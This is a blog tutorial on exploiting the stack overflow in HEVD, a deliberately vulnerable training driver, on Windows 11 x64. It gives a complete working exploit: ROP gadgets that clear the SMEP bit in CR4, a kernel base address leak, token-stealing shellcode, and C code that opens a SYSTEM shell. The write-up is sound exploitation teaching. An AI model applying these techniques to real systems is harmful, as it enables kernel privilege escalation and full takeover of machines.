Post

Windows Kernel Exploitation - HEVD x64 Stack Overflow

After setting up our debugging environment, we will look at HEVD for a few posts before diving into real-world scenarios. HEVD is an awesome, intentionally vulnerable driver by HackSysTeam that allows exploiting a lot of different kernel vulnerability types. I think this one is great to get started because you can play with exploitation without reversing any big applications or drivers.

The arguably easiest exploit on HEVD is a classic stack overflow where you overwrite the return address and have a good amount of space before & after the overwrite. We are using HEVD on default OS settings, which means ASLR, DEP & SMEP are enabled. The vulnerable function does not use stack cookies.

Overview

Target: HEVD
OS/Arch: Windows 11 x64
Protections: ASLR, DEP, SMEP

Vulnerability Discovery

I’m not going to pretend that I don’t know where the vulnerability is and will focus primarily on the exploitation part. The vulnerable function is TriggerBufferOverflowStack and uses a RtlCopyMemory from the user-provided buffer to a fixed-sized kernel buffer of a size 512 that is on the kernel stack.

In assembly this ends up as memmove:

To see what’s actually happening, we are going to create our “exploit” and just call this function while having a breakpoint on it. We are going to create a new C++ console project with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <Windows.h>


int main()
{
	HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE)
	{
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		exit(1);
	}

	LPVOID uBuffer = VirtualAlloc(NULL, 512, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlFillMemory(uBuffer, 512, 'A');
	DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 512, NULL, 0, NULL, NULL);

}

There are a few noteworthy things here. First of all, we are using CreateFile to get a handle to the driver, using its name \\.\HacksysExtremeVulnerableDriver . You can find this name by looking at the DriverEntry function in IDA:

Then we allocate our user buffer with a size of 512 which is the same size the kernel expects. Then we call the function via an IOCTL. This is essentially a way to tell the kernel to call a specific function in our driver, identified by the number, here 0x222003. Finding the number can be a bit tricky – in this case, we can go to TriggerBufferOverflowStack in IDA and then press x to find references. This shows a reference to BufferOverflowStackIoctlHandler for which we look for references again. Finally, we end up in IrpDeviceIoCtlHandler which is a big switch/case statement calling different functions depending on the IOCTL number you provide.

If we follow the arrow pointing to this basic block backward (can be a few times, but here it’s only once) we eventually end up at the correct number.

To compile our exploit we set it to Release & x64. We know how to call the function now & are going to set a breakpoint in WinDbg. In order for WinDbg to automatically load the correct symbols for HEVD you should place HEVD.pdb at C:\projects\hevd\build\driver\vulnerable\x64\HEVD\HEVD.pdb .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0: kd> ba e1 HEVD!TriggerBufferOverflowStack
0: kd> g
... <run exploit> ...
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack:
fffff805`7d3e65b4 48895c2408      mov     qword ptr [rsp+8],rbx
u rip L40
...
fffff805`7d3e666d ff1595b9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff805`7d362008)]
fffff805`7d3e6673 4c8bc6          mov     r8,rsi
fffff805`7d3e6676 488bd7          mov     rdx,rdi
fffff805`7d3e6679 488d4c2420      lea     rcx,[rsp+20h]
fffff805`7d3e667e e83dabf7ff      call    HEVD!memcpy (fffff805`7d3611c0)
fffff805`7d3e6683 eb1b            jmp     HEVD!TriggerBufferOverflowStack+0xec (fffff805`7d3e66a0)
...

We can see that the memmove we saw in IDA is actually a memcpy. Let’s break there.

1
2
3
4
5
6
7
8
9
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff805`7d3e667e e83dabf7ff      call    HEVD!memcpy (fffff805`7d3611c0)
1: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffc88ab6420f60
rdx=0000022b3e180000 rsi=0000000000000200 rdi=0000022b3e180000
rip=fffff8057d3e667e rsp=ffffc88ab6420f40 rbp=ffffdb899c235c40
 r8=0000000000000200  r9=000000000000004d r10=0000000000000000
...

On x64, arguments to functions are passed in RCX, RDX, R8 & R9. Any additional arguments will be placed on the stack. We can see that RCX is a kernel address and therefore likely the target kernel buffer. RDX is a user-mode address and contains our input buffer. R8 contains the length, here 512.

1
2
3
4
5
6
1: kd> dq rcx L4
ffffc88a`b6420f60  00000000`00000000 00000000`00000000
ffffc88a`b6420f70  00000000`00000000 00000000`00000000
1: kd> dq rdx L4
0000022b`3e180000  41414141`41414141 41414141`41414141
0000022b`3e180010  41414141`41414141 41414141`41414141

Let’s step over the call and observe that the kernel buffer is filled with our input.

1
2
3
4
5
6
1: kd> p
HEVD!TriggerBufferOverflowStack+0xcf:
fffff805`7d3e6683 eb1b            jmp     HEVD!TriggerBufferOverflowStack+0xec (fffff805`7d3e66a0)
1: kd> dq rcx L4
ffffc88a`b6420f60  41414141`41414141 41414141`41414141
ffffc88a`b6420f70  41414141`41414141 41414141`41414141

Now let’s see what happens when we extend the length of our input buffer:

1
2
3
4
5
...
LPVOID uBuffer = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(uBuffer, 2500, 'A');
DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2500, NULL, 0, NULL, NULL);
...

If we break again but this time run until the function returns, we can see that the return address has been overwritten:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff805`7d3e667e e83dabf7ff      call    HEVD!memcpy (fffff805`7d3611c0)
1: kd> p
HEVD!TriggerBufferOverflowStack+0xcf:
fffff805`7d3e6683 eb1b            jmp     HEVD!TriggerBufferOverflowStack+0xec (fffff805`7d3e66a0)
1: kd> pt
HEVD!TriggerBufferOverflowStack+0x10b:
fffff805`7d3e66bf c3              ret
1: kd> dq rsp
ffffc88a`b4a21778  41414141`41414141 41414141`41414141
ffffc88a`b4a21788  41414141`41414141 41414141`41414141
1: kd> g
Access violation - code c0000005 (!!! second chance !!!)
HEVD!TriggerBufferOverflowStack+0x10b:
fffff805`7d3e66bf c3              ret

We can see that the return address was overwritten with our input “A”s. At this point, we confirmed the vulnerability & can trigger a crash.

Exploitation

Now that we can crash it with a large input buffer, the next step is figuring out the exact offset at which we overwrite RIP. We can generate a pattern with msf, send it, and then inspect RSP on the ret:

1
2
msf-pattern_create -l 2500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...
1
2
3
4
5
6
...
LPVOID uBuffer = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
const char* pattern = { "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8..."};
RtlCopyMemory(uBuffer, pattern, 2500);
DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2500, NULL, 0, NULL, NULL);
...
1
2
3
4
5
HEVD!TriggerBufferOverflowStack+0x10b:
fffff800`6ebf66bf c3              ret
1: kd> dq rsp
ffffba89`e9fe9778  43327243`31724330 35724334`72433372
ffffba89`e9fe9788  72433772`43367243 43307343`39724338
1
2
msf-pattern_offset -q 43327243 -l 2500
[*] Exact match at offset 2076

After sending the pattern and letting it run, we can see that we got our access violation again and inspecting RSP allowed us to find the offset: 2076. At this point, we could allocate shellcode and try to jump to it. Note that the offset is slightly off – if you debug it you will see that only the 2nd half of the shellcode address ends up at the correct position – in the following snippet, I account for that (real offset being 2076-4).

1
2
3
4
5
6
7
...
LPVOID uBuffer = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, 500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(uBuffer, 2500, '\x41');
RtlFillMemory(shellcode, 500, '\x90');
*(QWORD*)((QWORD)uBuffer + 2072) = (QWORD)shellcode;
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0: kd> ba e1 HEVD!TriggerBufferOverflowStack+0x10b
0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0x10b:
fffff802`a74966bf c3              ret
1: kd> dq rsp
fffffa8a`25b72778  00000173`3c510000 41414141`41414141
fffffa8a`25b72788  41414141`41414141 41414141`41414141
1: kd> p
00000173`3c510000 90              nop
1: kd> p
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc

After trying to execute one of the NOPs we get an error. We can get some additional information with the analyze extension:

1
2
3
!analyze -v
...
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)

This is SMEP (Supervisor Mode Execution Prevention) kicking in. The kernel is not allowed to execute code at the user-mode address we provided and can therefore not just execute our shellcode. In order to bypass SMEP, we have to find a way to either disable it or make it “think” we are not a user-mode page. For this introductory exploit, I’ll just show the bypass method.

SMEP is controlled by the 20th bit in the CR4 Register.

If we can somehow change that bit, we can disable it & still jump to our shellcode and execute it. While we can not execute shellcode, we can use ROP to flip that bit. To do that, we need to first look for gadgets we can use inside the driver or kernel. The kernel is a much better source of gadgets due to its size. I’m a big fan of ropper so I’m going to copy ntoskrnl.exe from the Debuggee VM to my Kali VM.

1
2
3
4
5
ropper --file ntoskrnl.exe --console
(ntoskrnl.exe/PE/x86_64)> search %cr4%
0x00000001403acd47: mov cr4, rcx; ret;
(ntoskrnl.exe/PE/x86_64)> search pop rcx
0x000000014020a386: pop rcx; ret;

We identified 2 gadgets we can use, POP RCX to get a value with its 20th bit set to zero into RCX and MOV CR4, RCX to get that value into CR4. It’s usually a good idea to get the “old” value of CR4 and then modify it. For simplicity, we are just going to observe what it looks like in the debugger when we execute our exploit and then hardcode it here.

Before adding the ROP chain to our exploit we have to think about ASLR. Ropper shows relative addresses so we need to find the load address of the kernel. Fortunately, this is very easy from a medium integrity shell as there is an API that allows to obtain it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
QWORD getBaseAddr(LPCWSTR drvName) {
	LPVOID drivers[512];
	DWORD cbNeeded;
	int nDrivers, i = 0;
	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		WCHAR szDrivers[512];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (wcscmp(szDrivers, drvName) == 0) {
					return (QWORD)drivers[i];
				}
			}
		}
	}
	return 0;
}

With the base address, we can now add the gadget offsets to obtain a proper ROP chain. We update our exploit with this chain & a dummy value for CR4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <Psapi.h>

#define QWORD ULONGLONG

QWORD getBaseAddr(LPCWSTR drvName) {
	LPVOID drivers[512];
	DWORD cbNeeded;
	int nDrivers, i = 0;
	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		WCHAR szDrivers[512];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (wcscmp(szDrivers, drvName) == 0) {
					return (QWORD)drivers[i];
				}
			}
		}
	}
	return 0;
}

int main()
{
	HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE)
	{
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		exit(1);
	}

	QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
	printf("[>] NTBase: %llx\n", ntBase);
	QWORD POP_RCX = ntBase + 0x3acd47;
	QWORD MOV_CR4_RCX = ntBase + 0x20a386;
	int index = 0;

	LPVOID uBuffer = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	LPVOID shellcode = VirtualAlloc(NULL, 500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlFillMemory(uBuffer, 2500, '\x41');
	RtlFillMemory(shellcode, 500, '\x90');

	QWORD* rop = (QWORD*)((QWORD)uBuffer + 2072);
	
	*(rop + index++) = POP_RCX;
	*(rop + index++) = 0x0;
	*(rop + index++) = MOV_CR4_RCX;
	*(rop + index++) = (QWORD)shellcode;

	DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2500, NULL, 0, NULL, NULL);

}

We run it with a breakpoint on the overwritten return address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HEVD!TriggerBufferOverflowStack+0x10b:
fffff804`5e6f66bf c3              ret
0: kd> dq rsp
fffff088`b0910778  fffff804`3640a386 00000000`00000000
fffff088`b0910788  fffff804`365acd47 0000016d`86580000
fffff088`b0910798  41414141`41414141 41414141`41414141
fffff088`b09107a8  41414141`41414141 41414141`41414141
fffff088`b09107b8  41414141`41414141 41414141`41414141
fffff088`b09107c8  41414141`41414141 41414141`41414141
fffff088`b09107d8  41414141`41414141 41414141`41414141
fffff088`b09107e8  41414141`41414141 41414141`41414141
0: kd> p
nt!HalSendNMI+0x276:
fffff804`3640a386 59              pop     rcx
1: kd> p
nt!HalSendNMI+0x277:
fffff804`3640a387 c3              ret
1: kd> 
nt!KeFlushCurrentTbImmediately+0x17:
fffff804`365acd47 0f22e1          mov     cr4,rcx
1: kd> 
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KeFlushCurrentTbImmediately+0x17:
fffff804`365acd47 0f22e1          mov     cr4,rcx

We get an exception – it does not allow us to write cr4 with zero. Let’s inspect its current value:

1
2
1: kd> r cr4
cr4=0000000000350ef8

We can hardcode the value and flip the 20th bit, then try again:

1
*(rop + index++) = 0x350ef8 ^ 1UL << 20;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1: kd> 
nt!KeFlushCurrentTbImmediately+0x17:
fffff800`737acd47 0f22e1          mov     cr4,rcx
1: kd> r rcx
rcx=0000000000250ef8
1: kd> p
nt!KeFlushCurrentTbImmediately+0x1a:
fffff800`737acd4a c3              ret
1: kd> p
0000026a`93680000 90              nop
1: kd> 
0000026a`93680001 90              nop
1: kd> 
0000026a`93680002 90              nop

We can see that by setting a value that makes more sense we can disable SMEP & execute our NOPs! Now we need kernel shellcode that will somehow let us elevate privileges without causing a BSOD.

Kernel Shellcode

For this exploit, we are going to go with a simple token stealing payload. Every process has a token associated that defines its privileges. A pointer to this token is saved in the EPROCESS structure:

1
2
3
4
5
6
7
0: kd> dt nt!_EPROCESS
...
+0x440 UniqueProcessId      : Ptr64 Void
+0x448 ActiveProcessLinks   : _LIST_ENTRY
...
+0x4b8 Token                : _EX_FAST_REF
...

If we can read this pointer & copy it over the one from our process, we get full SYSTEM privileges. Essentially the shellcode will find our EPROCESS and save a pointer to it. Then it will walk ActiveProcessLinks (which is a linked list of processes) until it finds a SYSTEM process and copies the token pointer from that one over the one from our process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[BITS 64]
start:
  mov rax, [gs:0x188]       ; KPCRB.CurrentThread (_KTHREAD)
  mov rax, [rax + 0xb8]     ; APCState.Process (current _EPROCESS)
  mov r8, rax               ; Store current _EPROCESS ptr in RBX

loop:
  mov r8, [r8 + 0x448]      ; ActiveProcessLinks
  sub r8, 0x448             ; Go back to start of _EPROCESS
  mov r9, [r8 + 0x440]      ; UniqueProcessId (PID)
  cmp r9, 4                 ; SYSTEM PID? 
  jnz loop                  ; Loop until PID == 4

replace:
  mov r9, [r8 + 0x4b8]      ; Get SYSTEM token
  and r9, 0xf0              ; Clear low 4 bits of _EX_FAST_REF structure
  mov [rax + 0x4b8], r9     ; Copy SYSTEM token to current process
  
  xor rax, rax
  ret

Note that depending on which operating system you are targeting these offsets will change and you have to find them via WinDBG. To compile the shellcode, we can use NASM/radare2:

1
2
3
4
5
6
7
nasm shellcode.asm -o shellcode.bin -f bin
radare2 -b 32 -c 'pc' ./shellcode.bin
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
  0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
  ...
};

While this will work fine and replace the token – we are still in an IOCTL and have messed with the stack. Just returning from here will cause a BSOD. There are at least 2 possibilities here – either we figure out how to restore the stack to the point where we can return somewhere that will not crash or use a generic way to avoid crashes.

For this post we choose the generic way by Kristal and append our shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[BITS 64]
start:
  mov rax, [gs:0x188]       ; KPCRB.CurrentThread (_KTHREAD)
  mov rax, [rax + 0xb8]     ; APCState.Process (current _EPROCESS)
  mov r8, rax               ; Store current _EPROCESS ptr in RBX

loop:
  mov r8, [r8 + 0x448]      ; ActiveProcessLinks
  sub r8, 0x448             ; Go back to start of _EPROCESS
  mov r9, [r8 + 0x440]      ; UniqueProcessId (PID)
  cmp r9, 4                 ; SYSTEM PID? 
  jnz loop                  ; Loop until PID == 4

replace:
  mov rcx, [r8 + 0x4b8]      ; Get SYSTEM token
  and cl, 0xf0               ; Clear low 4 bits of _EX_FAST_REF structure
  mov [rax + 0x4b8], rcx     ; Copy SYSTEM token to current process

cleanup:
  mov rax, [gs:0x188]       ; _KPCR.Prcb.CurrentThread
  mov cx, [rax + 0x1e4]     ; KTHREAD.KernelApcDisable
  inc cx
  mov [rax + 0x1e4], cx
  mov rdx, [rax + 0x90]     ; ETHREAD.TrapFrame
  mov rcx, [rdx + 0x168]    ; ETHREAD.TrapFrame.Rip
  mov r11, [rdx + 0x178]    ; ETHREAD.TrapFrame.EFlags
  mov rsp, [rdx + 0x180]    ; ETHREAD.TrapFrame.Rsp
  mov rbp, [rdx + 0x158]    ; ETHREAD.TrapFrame.Rbp
  xor eax, eax  ;
  swapgs
  o64 sysret  

Final Exploit

This makes our full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <Psapi.h>

#define QWORD ULONGLONG

BYTE sc[256] = {
  0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
  0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
  0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
  0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
  0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
  0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
  0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
  0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
  0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
  0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

QWORD getBaseAddr(LPCWSTR drvName) {
	LPVOID drivers[512];
	DWORD cbNeeded;
	int nDrivers, i = 0;
	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		WCHAR szDrivers[512];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (wcscmp(szDrivers, drvName) == 0) {
					return (QWORD)drivers[i];
				}
			}
		}
	}
	return 0;
}

int main()
{
	HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE)
	{
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		exit(1);
	}

	QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
	printf("[>] NTBase: %llx\n", ntBase);
	QWORD POP_RCX = ntBase + 0x20a386;
	QWORD MOV_CR4_RCX = ntBase + 0x3acd47; 

	int index = 0;
	int bufSize = 2072 + 4 * 8;

	LPVOID uBuffer = VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	LPVOID shellcode = VirtualAlloc(NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlFillMemory(uBuffer, bufSize, '\x41');
	RtlCopyMemory(shellcode, sc, 256);

	QWORD* rop = (QWORD*)((QWORD)uBuffer + 2072);
	
	*(rop + index++) = POP_RCX;
	*(rop + index++) = 0x350ef8 ^ 1UL << 20;
	*(rop + index++) = MOV_CR4_RCX;
	*(rop + index++) = (QWORD)shellcode;

	DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, bufSize, NULL, 0, NULL, NULL);
	
	printf("[>] Enjoy your shell!\n", ntBase);
	system("cmd");
    return 0;
}

Running the exploit results in a SYSTEM shell on the target:

This post is licensed under CC BY 4.0 by the author.